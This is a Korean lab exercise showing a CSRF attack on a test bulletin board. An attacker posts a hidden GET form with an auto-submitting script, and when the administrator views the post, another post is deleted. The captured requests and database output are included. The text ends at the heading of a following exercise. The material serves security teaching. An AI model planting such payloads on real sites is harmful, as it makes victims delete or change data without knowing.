CSRF 를 이용한 특정 게시글 삭제하기

실습> CSRF를 이용한 특정 게시글 삭제하기

-- 조건 --
1. 메뉴
- 게시판 -> 글보기 -> 삭제
-- 조건 --

1. DB 초기화
# mysql mywebsite
truncate bbs1;
truncate bbs2;
truncate bbs3;
truncate bbs4;
truncate bbs5;
exit

2. 글쓰기/글 내용 확인
글쓰기를 한 후에 글 내용을 확인한다.

3. DB 확인
MariaDB [mywebsite]> select * from bbs1\G
*************************** 1. row ***************************
      no: 1
username: 111
userpass: *E6CC90B878B948C35E92B003C792C46C58C4AF40
   title: 첫 번째 글
contents: 첫 번째 글
filename: 
  ipaddr: 192.168.108.1
    date: 2022-01-23 00:21:57
1 row in set (0.00 sec)


4. 분석
글을 본 상태에서 삭제를 클릭해서 글을 삭제한다.

GET /delete.html?id=bbs1&no=1 HTTP/1.1
Host: 192.168.108.101
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.108.101/?id=bbs1&m=read&no=1
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9
Cookie: PHPSESSID=3ovodk4h07880b72saa165ru34
Connection: close

GET /delete.html?id=bbs1&no=1

5. 게시판 글 입력
공격자가 아래 내용으로 게시글을 작성한다.

이름 : 공격자
제목 : 특정 게시물 삭제
비밀번호 : 1
내용 : 
관리자님 안녕하세요.

<form id=csrftest method=GET action=/delete.html>
<input type=hidden name=id value=bbs1>
<input type=hidden name=no value=1>
</form>
<script>document.getElementById("csrftest").submit();</script> 

6. DB 확인
MariaDB [mywebsite]> select * from bbs1\G
*************************** 1. row ***************************
      no: 1
username: 111
userpass: *E6CC90B878B948C35E92B003C792C46C58C4AF40
   title: 첫 번째 글
contents: 첫 번째 글
filename: 
  ipaddr: 192.168.108.1
    date: 2022-01-23 00:21:57
1 row in set (0.00 sec)

MariaDB [mywebsite]> select * from bbs5\G
*************************** 1. row ***************************
      no: 1
username: 공격자
userpass: *E6CC90B878B948C35E92B003C792C46C58C4AF40
   title: 특정 게시물 삭제
contents: 관리자님 안녕하세요.

<form id=csrftest method=GET action=/delete.html>
<input type=hidden name=id value=bbs1>
<input type=hidden name=no value=1>
</form>
<script>document.getElementById("csrftest").submit();</script> 
filename: 
  ipaddr: 192.168.108.1
    date: 2022-01-23 00:30:22
1 row in set (0.00 sec)

7. 게시글 확인
관리자가 게시글을 읽는 순간 bbs1 게시판에 1번 게시물이 삭제된다.
게시글을 확인할 때 burp에서 잡아서 확인한다.


실습> CSRF를 이용한 점수 입력하기

-- 조건 --
1. 메뉴
- 로그인 -> 점수 입력
-- 조건 --